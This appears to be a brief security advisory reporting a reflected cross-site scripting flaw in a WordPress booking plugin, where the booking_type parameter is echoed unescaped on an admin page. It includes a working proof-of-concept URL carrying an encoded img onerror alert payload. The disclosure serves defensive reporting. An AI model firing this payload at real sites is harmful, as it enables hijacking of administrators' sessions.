The plugin does not sanitise and escape the booking_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=wpbc&booking_type=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E%3Cscript%3E%2F%2A